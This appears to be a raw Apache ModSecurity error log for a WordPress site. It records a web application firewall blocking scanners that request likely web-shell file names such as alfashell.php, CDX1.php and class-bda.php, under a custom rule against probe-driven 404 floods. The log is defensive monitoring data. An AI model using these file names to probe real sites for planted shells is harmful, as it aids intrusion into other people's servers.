[Sun Apr 19 13:08:58.110331 2026] [:error] [pid 47772:tid 47803] [client 51.12.84.102:60962] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeRjaoc0L16cb4smAz88BwAAAA4"]
[Sun Apr 19 13:08:58.849181 2026] [:error] [pid 15693:tid 15705] [client 51.12.84.102:60936] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeRjasNMD-ccazQlTsk2cgAAAUk"]
[Sun Apr 19 13:08:59.896067 2026] [:error] [pid 47772:tid 47790] [client 51.12.84.102:60253] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeRja4c0L16cb4smAz88CQAAAAE"]
[Sun Apr 19 13:09:00.546258 2026] [:error] [pid 47886:tid 47900] [client 51.12.84.102:60232] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeRjbESe8yiyuPrD7yM7-gAAAMw"]
[Sun Apr 19 13:09:01.245866 2026] [:error] [pid 47775:tid 47850] [client 51.12.84.102:52329] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeRjbbmztjlk9tsmoezOwQAAAIc"]
[Sun Apr 19 13:09:01.850500 2026] [:error] [pid 47773:tid 47823] [client 51.12.84.102:60245] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeRjbeiBHdnCJDuPq9DuHgAAAEc"]
[Sun Apr 19 13:09:02.682098 2026] [:error] [pid 15694:tid 15751] [client 51.12.84.102:52295] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeRjbrimB-jol1fwqArifwAAAZg"]
[Sun Apr 19 13:09:03.247179 2026] [:error] [pid 15760:tid 15784] [client 51.12.84.102:52225] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeRjb_SdD_XHQMJ_IStTjwAAAdA"]
[Sun Apr 19 13:09:03.900831 2026] [:error] [pid 15760:tid 15789] [client 51.12.84.102:52252] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeRjb_SdD_XHQMJ_IStTkAAAAdU"]
[Sun Apr 19 13:09:04.505345 2026] [:error] [pid 47772:tid 47789] [client 51.12.84.102:52334] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeRjcIc0L16cb4smAz88DQAAAAA"]
[Sun Apr 19 13:09:05.619044 2026] [:error] [pid 15764:tid 15834] [client 51.12.84.102:45517] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeRjcWLL_sqdSHoVp-R3DAAAAkg"]
[Sun Apr 19 13:09:06.322739 2026] [:error] [pid 47772:tid 47801] [client 51.12.84.102:60229] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeRjcoc0L16cb4smAz88DgAAAAw"]
[Sun Apr 19 13:09:06.951537 2026] [:error] [pid 47773:tid 47828] [client 51.12.84.102:45505] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeRjcuiBHdnCJDuPq9DuJAAAAEw"]
[Sun Apr 19 13:09:07.668720 2026] [:error] [pid 15760:tid 15770] [client 51.12.84.102:60276] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeRjc_SdD_XHQMJ_IStTnwAAAcI"]
[Sun Apr 19 13:09:08.710914 2026] [:error] [pid 47773:tid 47825] [client 51.12.84.102:60286] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeRjdOiBHdnCJDuPq9DuJgAAAEk"]
[Sun Apr 19 13:09:09.408966 2026] [:error] [pid 15764:tid 15827] [client 51.12.84.102:52309] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aeRjdWLL_sqdSHoVp-R3JQAAAkE"]
[Sun Apr 19 13:09:10.573641 2026] [:error] [pid 47773:tid 47818] [client 51.12.84.102:60930] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeRjduiBHdnCJDuPq9DuJwAAAEI"]
[Sun Apr 19 13:09:11.402737 2026] [:error] [pid 15765:tid 15858] [client 51.12.84.102:52260] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeRjd_Rqinw-W5EwQ77FBAAAAoU"]
[Sun Apr 19 13:09:12.747309 2026] [:error] [pid 15760:tid 15790] [client 51.12.84.102:60285] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeRjePSdD_XHQMJ_IStTogAAAdY"]
[Sun Apr 19 13:09:13.675435 2026] [:error] [pid 15764:tid 15834] [client 51.12.84.102:52296] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aeRjeWLL_sqdSHoVp-R3OAAAAkg"]
[Sun Apr 19 13:09:14.834204 2026] [:error] [pid 47772:tid 47797] [client 51.12.84.102:60940] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeRjeoc0L16cb4smAz88EwAAAAg"]
[Sun Apr 19 13:09:15.394184 2026] [:error] [pid 15765:tid 15857] [client 51.12.84.102:44356] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeRje_Rqinw-W5EwQ77FBQAAAoQ"]
[Sun Apr 19 13:09:15.990973 2026] [:error] [pid 15764:tid 15831] [client 51.12.84.102:52256] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeRje2LL_sqdSHoVp-R3QgAAAkU"]
[Sun Apr 19 13:09:17.000279 2026] [:error] [pid 15694:tid 15734] [client 51.12.84.102:60267] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeRjfLimB-jol1fwqArihwAAAYg"]
[Sun Apr 19 13:09:19.464561 2026] [:error] [pid 47773:tid 47838] [client 51.12.84.102:60939] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeRjf-iBHdnCJDuPq9DuLQAAAFY"]
[Sun Apr 19 13:09:21.587993 2026] [:error] [pid 47886:tid 47891] [client 51.12.84.102:52317] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeRjgUSe8yiyuPrD7yM8BwAAAMM"]
[Sun Apr 19 13:09:23.723896 2026] [:error] [pid 15760:tid 15787] [client 51.12.84.102:52338] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeRjg_SdD_XHQMJ_IStTyQAAAdM"]
[Sun Apr 19 13:09:25.180381 2026] [:error] [pid 15760:tid 15776] [client 51.12.84.102:44383] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aeRjhfSdD_XHQMJ_IStT0gAAAcg"]
[Sun Apr 19 13:09:27.103751 2026] [:error] [pid 47772:tid 47796] [client 51.12.84.102:60964] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeRjh4c0L16cb4smAz88HwAAAAc"]
[Sun Apr 19 13:09:28.745449 2026] [:error] [pid 15760:tid 15774] [client 51.12.84.102:60985] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeRjiPSdD_XHQMJ_IStT3AAAAcY"]
[Sun Apr 19 13:09:31.224151 2026] [:error] [pid 47772:tid 47789] [client 51.12.84.102:60937] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeRji4c0L16cb4smAz88JwAAAAA"]
[Sun Apr 19 13:09:32.114995 2026] [:error] [pid 15760:tid 15768] [client 51.12.84.102:52243] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ew.php"] [unique_id "aeRjjPSdD_XHQMJ_IStT3wAAAcA"]
[Sun Apr 19 13:09:33.131103 2026] [:error] [pid 47773:tid 47816] [client 51.12.84.102:52349] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeRjjeiBHdnCJDuPq9DuMgAAAEA"]
[Sun Apr 19 13:09:34.239765 2026] [:error] [pid 47773:tid 47823] [client 51.12.84.102:52244] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeRjjuiBHdnCJDuPq9DuNgAAAEc"]
[Sun Apr 19 13:09:34.959616 2026] [:error] [pid 15760:tid 15784] [client 51.12.84.102:52241] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeRjjvSdD_XHQMJ_IStT5QAAAdA"]
[Sun Apr 19 13:09:35.629853 2026] [:error] [pid 15760:tid 15789] [client 51.12.84.102:52270] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file21.php"] [unique_id "aeRjj_SdD_XHQMJ_IStT6QAAAdU"]
[Sun Apr 19 13:09:36.817512 2026] [:error] [pid 15693:tid 15712] [client 51.12.84.102:60243] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aeRjkMNMD-ccazQlTsk2fAAAAVA"]
[Sun Apr 19 13:09:37.791767 2026] [:error] [pid 15694:tid 15723] [client 51.12.84.102:44410] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aeRjkbimB-jol1fwqAriigAAAYA"]
[Sun Apr 19 15:53:45.384292 2026] [:error] [pid 15694:tid 15737] [client 43.166.253.94:53216] [client 43.166.253.94] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeSKCbimB-jol1fwqAruQgAAAYs"]
[Sun Apr 19 19:06:24.436251 2026] [autoindex:error] [pid 47772:tid 47803] [client 68.221.129.115:3731] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 19:06:32.558635 2026] [autoindex:error] [pid 15694:tid 15744] [client 68.221.129.115:33867] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 19:07:06.877273 2026] [:error] [pid 15694:tid 15743] [client 68.221.129.115:33867] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeS3WrimB-jol1fwqAr-ogAAAZE"]
[Sun Apr 19 19:07:07.478359 2026] [:error] [pid 15764:tid 15839] [client 68.221.129.115:32958] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeS3W2LL_sqdSHoVp-TdRwAAAk0"]
[Sun Apr 19 19:07:09.514457 2026] [:error] [pid 15764:tid 15845] [client 68.221.129.115:64709] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeS3XWLL_sqdSHoVp-TdSgAAAlM"]
[Sun Apr 19 19:07:11.586192 2026] [:error] [pid 15764:tid 15831] [client 68.221.129.115:37675] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "aeS3X2LL_sqdSHoVp-TdTQAAAkU"]
[Sun Apr 19 19:07:12.976634 2026] [:error] [pid 15764:tid 15832] [client 68.221.129.115:64734] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeS3YGLL_sqdSHoVp-TdUAAAAkY"]
[Sun Apr 19 19:07:13.671816 2026] [:error] [pid 15760:tid 15786] [client 68.221.129.115:3761] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeS3YfSdD_XHQMJ_ISvjowAAAdI"]
[Sun Apr 19 19:07:14.608294 2026] [:error] [pid 15760:tid 15787] [client 68.221.129.115:64729] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeS3YvSdD_XHQMJ_ISvjpwAAAdM"]
[Sun Apr 19 19:07:15.873316 2026] [:error] [pid 15760:tid 15788] [client 68.221.129.115:45373] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeS3Y_SdD_XHQMJ_ISvjrgAAAdQ"]
[Sun Apr 19 19:07:16.844842 2026] [:error] [pid 15694:tid 15734] [client 68.221.129.115:37651] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeS3ZLimB-jol1fwqAr-pwAAAYg"]
[Sun Apr 19 19:07:18.097886 2026] [:error] [pid 15763:tid 15797] [client 68.221.129.115:33909] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeS3ZrMXv1Y1THOoxaDTxAAAAgE"]
[Sun Apr 19 19:07:18.977856 2026] [:error] [pid 15763:tid 15813] [client 68.221.129.115:32954] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeS3ZrMXv1Y1THOoxaDTxQAAAhE"]
[Sun Apr 19 19:07:20.061264 2026] [:error] [pid 15764:tid 15842] [client 68.221.129.115:32936] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeS3aGLL_sqdSHoVp-TdYAAAAlA"]
[Sun Apr 19 19:07:20.764381 2026] [:error] [pid 15760:tid 15788] [client 68.221.129.115:64726] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-bda.php"] [unique_id "aeS3aPSdD_XHQMJ_ISvjvQAAAdQ"]
[Sun Apr 19 19:07:21.631709 2026] [:error] [pid 47772:tid 47792] [client 68.221.129.115:37693] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-bda.php"] [unique_id "aeS3aYc0L16cb4smAz-QZQAAAAM"]
[Sun Apr 19 19:07:22.423013 2026] [:error] [pid 47886:tid 47900] [client 68.221.129.115:37663] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-bda.php"] [unique_id "aeS3akSe8yiyuPrD7yNjiwAAAMw"]
